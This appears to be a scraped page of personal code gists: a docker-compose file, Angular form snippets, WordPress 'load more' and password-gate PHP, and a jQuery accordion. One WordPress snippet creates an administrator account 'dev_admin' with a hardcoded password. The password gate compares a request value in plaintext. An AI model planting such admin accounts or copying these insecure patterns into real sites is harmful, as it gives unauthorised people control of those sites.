This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| --- | |
| version: "3.8" | |
| services: | |
| web: | |
| container_name: docker-angular-goal-demo | |
| image: dev1skochko/docker-angular-goal-demo | |
| build: . | |
| ports: | |
| - "80:80" |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| // get control inside form group | |
| this.form.get('reminder').get('reminderDateTime').disable(); | |
| //disable nested form control by index | |
| for (let i = 0; i < this.PARENT.NESTED.length; i++) { | |
| this.dependentForm.at(i)['controls']['CONTROLNAME'].disable(); | |
| } | |
| // Remove and set validators to nested forms | |
| this.locationsForm.at(i).get('CONTROLNAME').clearValidators(); |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| {"lastUpload":"2017-09-22T11:00:03.012Z","extensionVersion":"v2.8.3"} |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| <?php if ( $wp_query->max_num_pages > 1 ) : ?> | |
| <script> | |
| var ajaxurl = '<?php echo site_url() ?>/wp-admin/admin-ajax.php'; | |
| var true_posts = '<?php echo serialize($wp_query->query_vars); ?>'; | |
| var current_page = <?php echo (get_query_var('paged')) ? get_query_var('paged') : 1; ?>; | |
| var max_pages = '<?php echo $wp_query->max_num_pages; ?>'; | |
| </script> | |
| <div id="true_loadmore" class="btn">Load more</div> | |
| <?php endif; ?> |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| <?php | |
| $f_key = "course_cat_" . $cur_term->term_id; | |
| the_field( 'password_protection', $f_key ); | |
| $passwd = isset( $_REQUEST['passwd'] ) ? $_REQUEST['passwd'] : null; | |
| $admin_passwd = get_field( 'password_protection', $f_key ); | |
| $cookie = isset( $_SESSION['re_passwd'] ) ? $_SESSION['re_passwd'] : null; | |
| if ( empty( $cookie ) ) { | |
| if ( $passwd == $admin_passwd ) { | |
| $_SESSION['re_passwd'] = $passwd; |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| $userdata = array( | |
| 'user_login' => 'dev_admin', | |
| 'user_url' => "", | |
| 'user_pass' => "dev_pass83", | |
| 'role ' => "administrator" | |
| ); | |
| $user_id = wp_insert_user( $userdata ); | |
| $user = new WP_User($user_id); | |
| $user->set_role('administrator'); |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| var accordionHeader = $('.faq_title'), | |
| accordionContent = $('.description'); | |
| $(accordionHeader).click(function () { | |
| if ($(this).hasClass('is-active')){ | |
| $(this).next(accordionContent).slideUp('fast'); | |
| $(this).removeClass('is-active'); | |
| } | |
| else { | |
| $(".faq_title span").html('+'); | |
| // close other content |